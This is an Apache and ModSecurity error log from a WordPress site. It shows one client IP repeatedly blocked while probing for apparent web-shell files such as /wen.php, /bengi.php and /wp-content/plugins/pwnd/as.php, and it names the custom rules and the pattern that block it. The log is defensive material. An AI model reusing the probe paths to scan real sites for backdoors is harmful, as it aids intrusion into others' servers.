[Sun Apr 19 13:07:08.637473 2026] [:error] [pid 15694:tid 15743] [client 51.12.84.102:52342] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeRi_LimB-jol1fwqAriTQAAAZE"]
[Sun Apr 19 13:07:09.352607 2026] [:error] [pid 15694:tid 15751] [client 51.12.84.102:60257] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeRi_bimB-jol1fwqAriTwAAAZg"]
[Sun Apr 19 13:07:09.927065 2026] [:error] [pid 15764:tid 15840] [client 51.12.84.102:60947] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeRi_WLL_sqdSHoVp-R2YAAAAk4"]
[Sun Apr 19 13:07:10.526067 2026] [:error] [pid 15693:tid 15707] [client 51.12.84.102:52237] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/BDKR28WP.php"] [unique_id "aeRi_sNMD-ccazQlTsk2VwAAAUs"]
[Sun Apr 19 13:07:11.269300 2026] [:error] [pid 47773:tid 47833] [client 51.12.84.102:60973] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeRi_-iBHdnCJDuPq9DtzQAAAFE"]
[Sun Apr 19 13:07:11.878271 2026] [:error] [pid 15760:tid 15775] [client 51.12.84.102:60989] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeRi__SdD_XHQMJ_IStS7gAAAcc"]
[Sun Apr 19 13:07:12.587539 2026] [:error] [pid 15763:tid 15801] [client 51.12.84.102:60254] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeRjALMXv1Y1THOoxaCQbAAAAgU"]
[Sun Apr 19 13:07:14.344559 2026] [:error] [pid 47775:tid 47866] [client 51.12.84.102:52287] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeRjArmztjlk9tsmoezOhQAAAJc"]
[Sun Apr 19 13:07:16.118388 2026] [:error] [pid 15763:tid 15800] [client 51.12.84.102:60990] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeRjBLMXv1Y1THOoxaCQcQAAAgQ"]
[Sun Apr 19 13:07:17.964410 2026] [:error] [pid 15760:tid 15776] [client 51.12.84.102:52288] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeRjBfSdD_XHQMJ_IStS-AAAAcg"]
[Sun Apr 19 13:07:20.433311 2026] [:error] [pid 47772:tid 47793] [client 51.12.84.102:52247] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeRjCIc0L16cb4smAz87bgAAAAQ"]
[Sun Apr 19 13:07:22.482046 2026] [:error] [pid 15763:tid 15801] [client 51.12.84.102:52345] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeRjCrMXv1Y1THOoxaCQdAAAAgU"]
[Sun Apr 19 13:07:24.178384 2026] [:error] [pid 15760:tid 15786] [client 51.12.84.102:52231] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeRjDPSdD_XHQMJ_IStS_wAAAdI"]
[Sun Apr 19 13:07:27.212985 2026] [:error] [pid 15763:tid 15820] [client 51.12.84.102:60281] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeRjD7MXv1Y1THOoxaCQfgAAAhg"]
[Sun Apr 19 13:07:29.132626 2026] [:error] [pid 47773:tid 47837] [client 51.12.84.102:45541] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeRjEeiBHdnCJDuPq9Dt0QAAAFU"]
[Sun Apr 19 13:07:31.626608 2026] [:error] [pid 47886:tid 47900] [client 51.12.84.102:52297] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aeRjE0Se8yiyuPrD7yM73QAAAMw"]
[Sun Apr 19 13:07:33.328433 2026] [:error] [pid 15765:tid 15852] [client 51.12.84.102:52230] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeRjFfRqinw-W5EwQ77E7AAAAoA"]
[Sun Apr 19 13:07:34.790869 2026] [:error] [pid 15764:tid 15836] [client 51.12.84.102:60938] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeRjFmLL_sqdSHoVp-R2dQAAAko"]
[Sun Apr 19 13:07:36.616313 2026] [:error] [pid 15764:tid 15844] [client 51.12.84.102:60279] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeRjGGLL_sqdSHoVp-R2dgAAAlI"]
[Sun Apr 19 13:07:38.772110 2026] [:error] [pid 15763:tid 15796] [client 51.12.84.102:60968] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeRjGrMXv1Y1THOoxaCQjwAAAgA"]
[Sun Apr 19 13:07:40.524007 2026] [:error] [pid 47772:tid 47799] [client 51.12.84.102:52318] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRjHIc0L16cb4smAz87ggAAAAo"]
[Sun Apr 19 13:07:42.301421 2026] [:error] [pid 47886:tid 47910] [client 51.12.84.102:34098] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRjHkSe8yiyuPrD7yM73wAAANY"]
[Sun Apr 19 13:07:43.072857 2026] [:error] [pid 47773:tid 47829] [client 51.12.84.102:52327] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRjH-iBHdnCJDuPq9Dt3AAAAE0"]
[Sun Apr 19 13:07:43.812376 2026] [:error] [pid 47772:tid 47797] [client 51.12.84.102:52311] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fe5.php"] [unique_id "aeRjH4c0L16cb4smAz87hQAAAAg"]
[Sun Apr 19 13:07:44.477509 2026] [:error] [pid 47775:tid 47849] [client 51.12.84.102:52347] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeRjILmztjlk9tsmoezOkQAAAIY"]
[Sun Apr 19 13:07:45.213850 2026] [:error] [pid 15763:tid 15820] [client 51.12.84.102:45539] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeRjIbMXv1Y1THOoxaCQlQAAAhg"]
[Sun Apr 19 13:07:46.608832 2026] [:error] [pid 15760:tid 15787] [client 51.12.84.102:60929] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeRjIvSdD_XHQMJ_IStTDAAAAdM"]
[Sun Apr 19 13:07:47.601328 2026] [:error] [pid 47886:tid 47905] [client 51.12.84.102:52232] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeRjI0Se8yiyuPrD7yM74AAAANE"]
[Sun Apr 19 13:07:48.740366 2026] [:error] [pid 15760:tid 15784] [client 51.12.84.102:60278] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/av.php"] [unique_id "aeRjJPSdD_XHQMJ_IStTEQAAAdA"]
[Sun Apr 19 13:08:12.219914 2026] [:error] [pid 15763:tid 15807] [client 51.12.84.102:52306] [client 51.12.84.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeRjPLMXv1Y1THOoxaCQrQAAAgs"]
[Sun Apr 19 13:08:20.528118 2026] [autoindex:error] [pid 47773:tid 47822] [client 51.12.84.102:60253] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 13:08:20.824401 2026] [autoindex:error] [pid 47775:tid 47867] [client 51.12.84.102:60945] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 13:08:41.360361 2026] [:error] [pid 47775:tid 47851] [client 51.12.84.102:60945] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeRjWbmztjlk9tsmoezOrgAAAIg"]
[Sun Apr 19 13:08:41.897591 2026] [:error] [pid 47886:tid 47911] [client 51.12.84.102:52300] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeRjWUSe8yiyuPrD7yM77gAAANc"]
[Sun Apr 19 13:08:42.524432 2026] [:error] [pid 15694:tid 15738] [client 51.12.84.102:60271] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeRjWrimB-jol1fwqAridwAAAYw"]
[Sun Apr 19 13:08:43.115135 2026] [:error] [pid 47886:tid 47900] [client 51.12.84.102:52289] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gssdd.php"] [unique_id "aeRjW0Se8yiyuPrD7yM78wAAAMw"]
[Sun Apr 19 13:08:43.710955 2026] [:error] [pid 15765:tid 15867] [client 51.12.84.102:45542] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeRjW_Rqinw-W5EwQ77FAAAAAo4"]
[Sun Apr 19 13:08:44.410832 2026] [:error] [pid 47773:tid 47824] [client 51.12.84.102:52335] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeRjXOiBHdnCJDuPq9DuAwAAAEg"]
[Sun Apr 19 13:08:45.022016 2026] [:error] [pid 15760:tid 15783] [client 51.12.84.102:60976] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeRjXfSdD_XHQMJ_IStTcQAAAc8"]
[Sun Apr 19 13:08:45.588483 2026] [:error] [pid 47772:tid 47791] [client 51.12.84.102:60260] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeRjXYc0L16cb4smAz874wAAAAI"]
[Sun Apr 19 13:08:46.167446 2026] [:error] [pid 15760:tid 15778] [client 51.12.84.102:45565] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeRjXvSdD_XHQMJ_IStTcgAAAco"]
[Sun Apr 19 13:08:46.775437 2026] [:error] [pid 15760:tid 15769] [client 51.12.84.102:52246] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeRjXvSdD_XHQMJ_IStTdwAAAcE"]
[Sun Apr 19 13:08:47.394061 2026] [:error] [pid 47772:tid 47796] [client 51.12.84.102:45508] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeRjX4c0L16cb4smAz876gAAAAc"]
[Sun Apr 19 13:08:48.026240 2026] [:error] [pid 47772:tid 47799] [client 51.12.84.102:60261] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "aeRjYIc0L16cb4smAz877gAAAAo"]
[Sun Apr 19 13:08:48.551428 2026] [:error] [pid 47773:tid 47839] [client 51.12.84.102:60269] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeRjYOiBHdnCJDuPq9DuBgAAAFc"]
[Sun Apr 19 13:08:49.102590 2026] [:error] [pid 47773:tid 47819] [client 51.12.84.102:45528] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeRjYeiBHdnCJDuPq9DuCAAAAEM"]
[Sun Apr 19 13:08:50.009332 2026] [:error] [pid 47775:tid 47858] [client 51.12.84.102:52275] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeRjYrmztjlk9tsmoezOtAAAAI8"]
[Sun Apr 19 13:08:50.763397 2026] [:error] [pid 47775:tid 47864] [client 51.12.84.102:52301] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bengi.php"] [unique_id "aeRjYrmztjlk9tsmoezOtwAAAJU"]
[Sun Apr 19 13:08:51.522950 2026] [:error] [pid 15760:tid 15770] [client 51.12.84.102:60265] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeRjY_SdD_XHQMJ_IStTgQAAAcI"]
[Sun Apr 19 13:08:52.602613 2026] [:error] [pid 47773:tid 47831] [client 51.12.84.102:60946] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeRjZOiBHdnCJDuPq9DuEAAAAE8"]
[Sun Apr 19 13:08:53.475472 2026] [:error] [pid 15764:tid 15831] [client 51.12.84.102:52337] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeRjZWLL_sqdSHoVp-R2-AAAAkU"]
[Sun Apr 19 13:08:54.232418 2026] [:error] [pid 15763:tid 15802] [client 51.12.84.102:60944] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeRjZrMXv1Y1THOoxaCQywAAAgY"]
[Sun Apr 19 13:08:55.046064 2026] [:error] [pid 15760:tid 15791] [client 51.12.84.102:52351] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeRjZ_SdD_XHQMJ_IStThgAAAdc"]
[Sun Apr 19 13:08:55.869775 2026] [:error] [pid 47886:tid 47907] [client 51.12.84.102:60255] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeRjZ0Se8yiyuPrD7yM7-AAAANM"]
[Sun Apr 19 13:08:56.830343 2026] [:error] [pid 47775:tid 47848] [client 51.12.84.102:60228] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeRjaLmztjlk9tsmoezOugAAAIU"]
[Sun Apr 19 13:08:57.481360 2026] [:error] [pid 15764:tid 15829] [client 51.12.84.102:60954] [client 51.12.84.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/axx.php"] [unique_id "aeRjaWLL_sqdSHoVp-R2_AAAAkM"]
